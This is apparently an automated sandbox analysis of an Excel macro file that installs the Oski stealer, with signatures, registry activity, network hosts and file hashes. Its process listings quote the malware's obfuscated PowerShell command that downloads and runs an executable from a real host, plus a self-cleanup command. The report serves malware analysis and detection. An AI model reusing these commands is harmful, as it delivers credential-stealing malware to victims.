Analysis Overview
SHA256
436651743894169dc9cd4c7ef01734420a5ce2d6dcaf57825197e0c756feeee9
Threat Level: Known bad
The file fileattached.xlsm was found to be: Known bad.
Malicious Activity Summary
Oski
Process spawned unexpected child process
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
Executes dropped EXE
Blocklisted process makes network request
Downloads MZ/PE file
Suspicious Office macro
Loads dropped DLL
Uses the VBS compiler for execution
Accesses cryptocurrency files/wallets, possible credential harvesting
Suspicious use of SetThreadContext
An obfuscated cmd.exe command-line is typically used to evade detection.
Enumerates system info in registry
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Modifies Internet Explorer settings
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Kills process with taskkill
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-08-05 18:27
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2021-08-05 18:27
Reported
2021-08-05 18:30
Platform
win7v20210410
Max time kernel
101s
Max time network
100s
Command Line
Signatures
Oski
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
Uses the VBS compiler for execution
Accesses cryptocurrency files/wallets, possible credential harvesting
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1000 set thread context of 1976 | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm
C:\Windows\SysWOW64\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\zJAMC.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/bij0o',$env:Temp+'\zJAMC.exe')
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
"C:\Users\Admin\AppData\Local\Temp\zJAMC.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1976 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\863405627395110\\* & exit
C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1976
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | iurl.vip | udp |
| N/A | 43.241.252.216:80 | iurl.vip | tcp |
| N/A | 8.8.8.8:53 | cdn.discordapp.com | udp |
| N/A | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| N/A | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| N/A | 8.8.8.8:53 | notedemo.axfree.com | udp |
| N/A | 144.76.115.36:80 | notedemo.axfree.com | tcp |
Files
memory/1060-59-0x000000002FE81000-0x000000002FE84000-memory.dmp
memory/1060-60-0x0000000070E41000-0x0000000070E43000-memory.dmp
memory/1060-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1716-62-0x0000000000000000-mapping.dmp
memory/816-63-0x0000000000000000-mapping.dmp
memory/816-64-0x00000000752B1000-0x00000000752B3000-memory.dmp
memory/1508-65-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 099eb97a0e2694f37e6c2b1160f88667 |
| SHA1 | 5171f3f9b2d0b1cfba3196c01afd6d22bc7ceecf |
| SHA256 | 3a27be41f0a753d595a1680e653f4ea4e570c3a60e79d650000f2920fab39973 |
| SHA512 | 539a1c474658f24b5b1595cedfd53648002f45689cf98b775e49bb01151b5be333eedefb23a78747d65c986031e2db62265285d361dd7061b54b12269660542a |
memory/1508-68-0x00000000009D0000-0x00000000009D1000-memory.dmp
memory/816-70-0x0000000004A60000-0x0000000004A61000-memory.dmp
memory/816-73-0x0000000004A20000-0x0000000004A21000-memory.dmp
memory/816-74-0x0000000004A22000-0x0000000004A23000-memory.dmp
memory/1508-75-0x00000000048E2000-0x00000000048E3000-memory.dmp
memory/1508-72-0x00000000048E0000-0x00000000048E1000-memory.dmp
memory/1508-76-0x0000000002540000-0x0000000002541000-memory.dmp
memory/1508-78-0x0000000005240000-0x0000000005241000-memory.dmp
memory/1508-82-0x00000000056B0000-0x00000000056B1000-memory.dmp
memory/1508-87-0x0000000005700000-0x0000000005701000-memory.dmp
memory/1508-88-0x0000000006170000-0x0000000006171000-memory.dmp
memory/1508-95-0x0000000006240000-0x0000000006241000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 9cf8a39315cfe409891304e3df3fc94d |
| SHA1 | 9345ea68e978ecee1e2b44695a29f79ab6b1ae8d |
| SHA256 | 901f5d0d17ca3414a1623ace30cad7fc79173ceb45885c551060d9137b5b04bd |
| SHA512 | 61c6d0f35e7fcbff2351deb038f72a26e78c1125de5b755a416317434bbede23128e5ec37f8510e8ac934439d5ded382ad8234d481cfa3210738eda5209b261a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
| MD5 | b6d38f250ccc9003dd70efd3b778117f |
| SHA1 | d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a |
| SHA256 | 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265 |
| SHA512 | 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
| MD5 | 75a8da7754349b38d64c87c938545b1b |
| SHA1 | 5c28c257d51f1c1587e29164cc03ea880c21b417 |
| SHA256 | bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96 |
| SHA512 | 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
| MD5 | df44874327d79bd75e4264cb8dc01811 |
| SHA1 | 1396b06debed65ea93c24998d244edebd3c0209d |
| SHA256 | 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181 |
| SHA512 | 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
| MD5 | be4d72095faf84233ac17b94744f7084 |
| SHA1 | cc78ce5b9c57573bd214a8f423ee622b00ebb1ec |
| SHA256 | b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc |
| SHA512 | 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
| MD5 | 02ff38ac870de39782aeee04d7b48231 |
| SHA1 | 0390d39fa216c9b0ecdb38238304e518fb2b5095 |
| SHA256 | fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876 |
| SHA512 | 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341 |
memory/1508-103-0x00000000062E0000-0x00000000062E1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
| MD5 | 5e3c7184a75d42dda1a83606a45001d8 |
| SHA1 | 94ca15637721d88f30eb4b6220b805c5be0360ed |
| SHA256 | 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59 |
| SHA512 | fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 19b7af422c3399927911ca89013a7a5d |
| SHA1 | 82a37f8b3698cf77820aef65f754e602cb1a3f88 |
| SHA256 | 57e112801a3dd46405fa0a087f356c79cfa6d11b4838d3b0f3cfe666903c5e25 |
| SHA512 | 5623d2d494566c3760229810661e1e2db112cec85161ec2270d10f958421282d57b3c156160eb3bcfd8c63f4c0598c7aaa00dd0fa4e8138d033fd8a45a9680c5 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
| MD5 | a725bb9fafcf91f3c6b7861a2bde6db2 |
| SHA1 | 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114 |
| SHA256 | 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431 |
| SHA512 | 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
| MD5 | 597009ea0430a463753e0f5b1d1a249e |
| SHA1 | 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62 |
| SHA256 | 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d |
| SHA512 | 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d |
memory/1508-108-0x000000007EF30000-0x000000007EF31000-memory.dmp
\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
memory/1000-112-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
memory/1000-115-0x0000000000B60000-0x0000000000B61000-memory.dmp
memory/1000-118-0x00000000004E0000-0x00000000004E1000-memory.dmp
memory/1000-119-0x00000000004A0000-0x00000000004A5000-memory.dmp
memory/1976-120-0x0000000000400000-0x0000000000438000-memory.dmp
memory/1976-121-0x000000000040717B-mapping.dmp
memory/1976-123-0x0000000000400000-0x0000000000438000-memory.dmp
\ProgramData\sqlite3.dll
| MD5 | e477a96c8f2b18d6b5c27bde49c990bf |
| SHA1 | e980c9bf41330d1e5bd04556db4646a0210f7409 |
| SHA256 | 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660 |
| SHA512 | 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c |
\ProgramData\nss3.dll
| MD5 | bfac4e3c5908856ba17d41edcd455a51 |
| SHA1 | 8eec7e888767aa9e4cca8ff246eb2aacb9170428 |
| SHA256 | e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78 |
| SHA512 | 2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66 |
\ProgramData\mozglue.dll
| MD5 | 8f73c08a9660691143661bf7332c3c27 |
| SHA1 | 37fa65dd737c50fda710fdbde89e51374d0c204a |
| SHA256 | 3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd |
| SHA512 | 0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89 |
\ProgramData\msvcp140.dll
| MD5 | 109f0f02fd37c84bfc7508d4227d7ed5 |
| SHA1 | ef7420141bb15ac334d3964082361a460bfdb975 |
| SHA256 | 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4 |
| SHA512 | 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39 |
\ProgramData\vcruntime140.dll
| MD5 | 7587bf9cb4147022cd5681b015183046 |
| SHA1 | f2106306a8f6f0da5afb7fc765cfa0757ad5a628 |
| SHA256 | c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d |
| SHA512 | 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f |
memory/1852-129-0x0000000000000000-mapping.dmp
memory/1836-130-0x0000000000000000-mapping.dmp
memory/1060-131-0x000000005FFF0000-0x0000000060000000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-08-05 18:27
Reported
2021-08-05 18:29
Platform
win10v20210408
Max time kernel
109s
Max time network
141s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
Uses the VBS compiler for execution
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\cmd.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\zJAMC.exe | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\fileattached.xlsm"
C:\Windows\SYSTEM32\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\zJAMC.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/bij0o',$env:Temp+'\zJAMC.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
"C:\Users\Admin\AppData\Local\Temp\zJAMC.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | iurl.vip | udp |
| N/A | 43.241.252.216:80 | iurl.vip | tcp |
| N/A | 8.8.8.8:53 | cdn.discordapp.com | udp |
| N/A | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| N/A | 162.159.133.233:443 | cdn.discordapp.com | tcp |
Files
memory/3716-114-0x00007FF627E60000-0x00007FF62B416000-memory.dmp
memory/3716-115-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-116-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-117-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-118-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-121-0x00007FF9CF580000-0x00007FF9CF590000-memory.dmp
memory/3716-122-0x00007FF9EFD90000-0x00007FF9F0E7E000-memory.dmp
memory/3716-123-0x000001994AAA0000-0x000001994C995000-memory.dmp
memory/3832-258-0x0000000000000000-mapping.dmp
memory/3896-259-0x0000000000000000-mapping.dmp
memory/3980-260-0x0000000000000000-mapping.dmp
memory/3980-265-0x000001E7CD700000-0x000001E7CD701000-memory.dmp
memory/3980-273-0x000001E7E58E0000-0x000001E7E58E1000-memory.dmp
memory/3980-274-0x000001E7E5980000-0x000001E7E5982000-memory.dmp
memory/3980-275-0x000001E7E5983000-0x000001E7E5985000-memory.dmp
memory/3896-276-0x0000029666330000-0x0000029666332000-memory.dmp
memory/3896-277-0x0000029666333000-0x0000029666335000-memory.dmp
memory/3896-291-0x0000029666336000-0x0000029666338000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
| MD5 | 1ec2aa05e274896088c5f4e569016b8c |
| SHA1 | 9a593a1cd60c30955dfcc61fb7516126127c8176 |
| SHA256 | caae487ef6fab03606a01040e2060f1738eb9d910380569453c66b3111479370 |
| SHA512 | 794f407c43c77260eafd5489f8a0fe7dfd4cb3f51a344237ed6fa44bf03b868a1488d1b66b61159c5fa87105f9647b37b485375bdaefb129d5598dc545af7fd8 |
memory/388-294-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\zJAMC.exe
